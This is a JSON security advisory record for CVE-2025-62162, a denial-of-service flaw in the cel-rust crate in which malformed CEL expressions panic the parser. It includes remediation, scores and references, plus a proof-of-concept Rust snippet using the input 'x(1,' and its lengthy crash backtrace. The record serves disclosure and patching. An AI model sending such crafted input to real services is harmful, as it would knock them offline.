{"id":"CVE-2025-62162","aliases":["GHSA-wxwx-9fh7-5mrw"],"url":"https://o3.security/vulnerability/CVE-2025-62162","summary":"cel-rust May Panic During Parsing of Invalid CEL Expressions","details":"### Summary\n\nParsing certain malformed CEL expressions can cause the parser to panic, terminating the process. When the crate is used to evaluate untrusted expressions (e.g., user-supplied input over an API), an attacker can send crafted input to trigger a denial of service (DoS).\n\n### Remediation\nUpgrade to 0.11.4\n```toml\n[dependencies]\ncel = \"0.11.4\"\n```\n\n### PoC\n\n```rust\nuse cel::{Context, Program};\n\nfn main() {\n    let program = Program::compile(\"x(1,\").unwrap();\n    let context = Context::default();\n    let value = program.execute(&context).unwrap();\n    assert_eq!(value, true.into());\n}\n```\n\n```\n$ RUST_BACKTRACE=1 cargo run --bin example-simple\n   Compiling num-traits v0.2.19\n   Compiling aho-corasick v1.1.3\n   Compiling regex-syntax v0.8.5\n   Compiling arbitrary v1.4.1\n   Compiling serde v1.0.219\n   Compiling thiserror v1.0.69\n   Compiling regex-automata v0.4.9\n   Compiling chrono v0.4.41\n   Compiling regex v1.11.1\n   Compiling cel v0.10.0 (/home/john/git/cel-rust/cel)\n\nwarning: `cel` (lib) generated 15 warnings\n   Compiling example v0.1.0 (/home/john/git/cel-rust/example)\n    Finished `dev` profile [unoptimized + debuginfo] target(s) in 2.97s\n     Running `target/debug/example-simple`\n\nthread 'main' panicked at /home/john/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/antlr4rust-0.3.0-beta3/src/tree.rs:383:9:\ninternal error: entered unreachable code: should have been properly implemented by generated context when reachable\nstack backtrace:\n   0: __rustc::rust_begin_unwind\n   1: core::panicking::panic_fmt\n   2: antlr4rust::tree::Visitable::accept\n   3: <cel::parser::gen::celparser::UnaryContextAll as antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor>>::accept\n   4: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn\n   5: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node\n   6: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit\n   7: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_calc\n   8: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_calc\n   9: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::CalcContextExt>>::accept\n  10: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn\n  11: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node\n  12: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit\n  13: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_relation\n  14: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_relation\n  15: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::RelationContextExt>>::accept\n  16: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn\n  17: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node\n  18: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit\n  19: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_conditionalAnd\n  20: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_conditionalAnd\n  21: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::ConditionalAndContextExt>>::accept\n  22: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn\n  23: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node\n  24: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit\n  25: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_conditionalOr\n  26: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_conditionalOr\n  27: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::ConditionalOrContextExt>>::accept\n  28: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn\n  29: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node\n  30: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit\n  31: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_expr\n  32: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_expr\n  33: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::ExprContextExt>>::accept\n  34: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn\n  35: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node\n  36: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit\n  37: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_GlobalCall::{{closure}}\n  38: <core::iter::adapters::map::Map<I,F> as core::iter::traits::iterator::Iterator>::next\n  39: alloc::vec::Vec<T,A>::extend_desugared\n  40: <alloc::vec::Vec<T,A> as alloc::vec::spec_extend::SpecExtend<T,I>>::spec_extend\n  41: <alloc::vec::Vec<T> as alloc::vec::spec_from_iter_nested::SpecFromIterNested<T,I>>::from_iter\n  42: <alloc::vec::Vec<T> as alloc::vec::spec_from_iter::SpecFromIter<T,I>>::from_iter\n  43: <alloc::vec::Vec<T> as core::iter::traits::collect::FromIterator<T>>::from_iter\n  44: core::iter::traits::iterator::Iterator::collect\n  45: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_GlobalCall\n  46: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_GlobalCall\n  47: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::GlobalCallContextExt>>::accept\n  48: <cel::parser::gen::celparser::PrimaryContextAll as antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor>>::accept\n  49: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn\n  50: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node\n  51: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit\n  52: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_PrimaryExpr\n  53: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_PrimaryExpr\n  54: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::PrimaryExprContextExt>>::accept\n  55: <cel::parser::gen::celparser::MemberContextAll as antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor>>::accept\n  56: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn\n  57: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node\n  58: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit\n  59: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_MemberExpr\n  60: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_MemberExpr\n  61: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::MemberExprContextExt>>::accept\n  62: <cel::parser::gen::celparser::UnaryContextAll as antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor>>::accept\n  63: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn\n  64: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node\n  65: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit\n  66: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_calc\n  67: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_calc\n  68: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::CalcContextExt>>::accept\n  69: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn\n  70: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node\n  71: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit\n  72: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_relation\n  73: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_relation\n  74: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::RelationContextExt>>::accept\n  75: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn\n  76: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node\n  77: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit\n  78: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_conditionalAnd\n  79: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_conditionalAnd\n  80: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::ConditionalAndContextExt>>::accept\n  81: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn\n  82: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node\n  83: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit\n  84: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_conditionalOr\n  85: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_conditionalOr\n  86: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::ConditionalOrContextExt>>::accept\n  87: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn\n  88: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node\n  89: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit\n  90: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_expr\n  91: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_expr\nnote: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.\n```\n\n### Impact\nUsers accepting untrusted CEL expressions","published":"2025-10-10T22:25:42.027Z","modified":"2026-08-12T03:51:17.898451796Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00355,"percentile":0.28732,"asOf":"2026-09-11"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"crates.io","name":"cel","fixedVersion":"0.11.4"}],"fix":{"url":"https://github.com/cel-rust/cel-rust/commit/9df9822d81d91a3ce0fc9f712f4574a659247be3","label":"cel-rust/cel-rust@9df9822"},"references":[{"type":"WEB","url":"https://github.com/cel-rust/cel-rust/releases/tag/cel-v0.11.4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/62xxx/CVE-2025-62162.json"},{"type":"ADVISORY","url":"https://github.com/cel-rust/cel-rust/security/advisories/GHSA-wxwx-9fh7-5mrw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62162"},{"type":"WEB","url":"https://github.com/cel-rust/cel-rust/commit/9df9822d81d91a3ce0fc9f712f4574a659247be3"},{"type":"PACKAGE","url":"https://github.com/cel-rust/cel-rust"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:17.898451796Z"}}